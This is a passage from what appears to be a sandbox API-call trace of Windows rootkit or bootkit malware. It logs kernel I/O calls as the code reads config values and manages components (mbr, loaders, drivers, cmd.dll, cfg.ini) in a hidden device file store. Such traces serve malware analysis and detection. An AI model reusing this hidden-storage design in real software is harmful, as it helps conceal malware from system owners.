MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.532] IdePortDispatch () returned 0x103 [0129.532] KeWaitForMutexObject () returned 0x0 [0129.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.532] KeLeaveCriticalRegion () [0129.532] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.533] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.533] KeEnterCriticalRegion () [0129.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.533] KeLeaveCriticalRegion () [0129.533] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.533] KeEnterCriticalRegion () [0129.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.533] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.533] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.533] KeLeaveCriticalRegion () [0129.533] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.533] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.533] KeEnterCriticalRegion () [0129.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.533] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.533] KeLeaveCriticalRegion () [0129.533] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.533] ReleaseMutex (hMutex=0xf0) returned 1 [0129.533] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.533] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.533] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.533] KeEnterCriticalRegion () [0129.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.533] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.533] IdePortDispatch () returned 0x103 [0129.533] KeWaitForMutexObject () returned 0x0 [0129.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.534] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.534] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.534] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.534] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.534] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05810 [0129.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.534] KeLeaveCriticalRegion () [0129.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.534] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.534] KeEnterCriticalRegion () [0129.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.534] KeLeaveCriticalRegion () [0129.534] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.534] KeEnterCriticalRegion () [0129.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.534] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.534] IdePortDispatch () returned 0x103 [0129.534] KeWaitForMutexObject () returned 0x0 [0129.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.534] KeLeaveCriticalRegion () [0129.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.534] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.535] KeEnterCriticalRegion () [0129.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.535] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0b000 [0129.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.535] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.535] IdePortDispatch () returned 0x103 [0129.535] KeWaitForMutexObject () returned 0x0 [0129.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.535] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.535] IdePortDispatch () returned 0x103 [0129.535] KeWaitForMutexObject () returned 0x0 [0129.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.535] KeLeaveCriticalRegion () [0129.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.536] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.536] KeEnterCriticalRegion () [0129.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.536] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.536] KeLeaveCriticalRegion () [0129.536] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.536] KeEnterCriticalRegion () [0129.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.536] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.536] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c058d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.536] KeLeaveCriticalRegion () [0129.536] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.536] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.536] KeEnterCriticalRegion () [0129.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.536] ExFreePoolWithTag (P=0xfffffa8003c05810, Tag=0x0) [0129.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.536] KeLeaveCriticalRegion () [0129.536] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.536] ReleaseMutex (hMutex=0xf0) returned 1 [0129.536] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.536] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.536] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.536] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.536] KeEnterCriticalRegion () [0129.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.536] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.537] IdePortDispatch () returned 0x103 [0129.537] KeWaitForMutexObject () returned 0x0 [0129.537] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.537] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.537] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.537] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.537] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.537] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.537] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.537] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.537] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.537] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.537] KeLeaveCriticalRegion () [0129.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.537] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.537] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.537] KeEnterCriticalRegion () [0129.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.537] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.537] IdePortDispatch () returned 0x103 [0129.537] KeWaitForMutexObject () returned 0x0 [0129.538] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.538] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.538] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.538] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.538] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.538] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.538] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.538] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.538] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.538] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.538] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.538] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.538] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.538] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.538] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.538] KeLeaveCriticalRegion () [0129.538] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.538] ReleaseMutex (hMutex=0x100) returned 1 [0129.538] Sleep (dwMilliseconds=0x2bf20) [0129.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7068b1d0, dwHighDateTime=0x1d24fa4)) [0129.546] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.546] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.546] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.546] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.546] KeEnterCriticalRegion () [0129.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.546] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.546] IdePortDispatch () returned 0x103 [0129.546] KeWaitForMutexObject () returned 0x0 [0129.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.546] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.546] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.546] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.546] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.546] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05b10 [0129.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.546] KeLeaveCriticalRegion () [0129.546] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.546] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.547] KeEnterCriticalRegion () [0129.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.547] KeLeaveCriticalRegion () [0129.547] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.547] KeEnterCriticalRegion () [0129.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.547] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.547] IdePortDispatch () returned 0x103 [0129.547] KeWaitForMutexObject () returned 0x0 [0129.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.547] KeLeaveCriticalRegion () [0129.547] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.547] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.547] KeEnterCriticalRegion () [0129.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.547] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0e000 [0129.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.547] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.547] IdePortDispatch () returned 0x103 [0129.547] KeWaitForMutexObject () returned 0x0 [0129.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.548] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.548] IdePortDispatch () returned 0x103 [0129.548] KeWaitForMutexObject () returned 0x0 [0129.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.548] KeLeaveCriticalRegion () [0129.548] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.548] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.548] KeEnterCriticalRegion () [0129.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.549] KeLeaveCriticalRegion () [0129.549] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.549] KeEnterCriticalRegion () [0129.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.549] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.549] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.549] KeLeaveCriticalRegion () [0129.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.549] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.549] KeEnterCriticalRegion () [0129.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.549] ExFreePoolWithTag (P=0xfffffa8003c05b10, Tag=0x0) [0129.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.549] KeLeaveCriticalRegion () [0129.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.549] ReleaseMutex (hMutex=0xf0) returned 1 [0129.549] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.549] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.549] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.549] KeEnterCriticalRegion () [0129.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.549] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.549] IdePortDispatch () returned 0x103 [0129.549] KeWaitForMutexObject () returned 0x0 [0129.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.550] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.550] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.550] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.550] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.550] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06010 [0129.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.550] KeLeaveCriticalRegion () [0129.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.550] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.550] KeEnterCriticalRegion () [0129.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 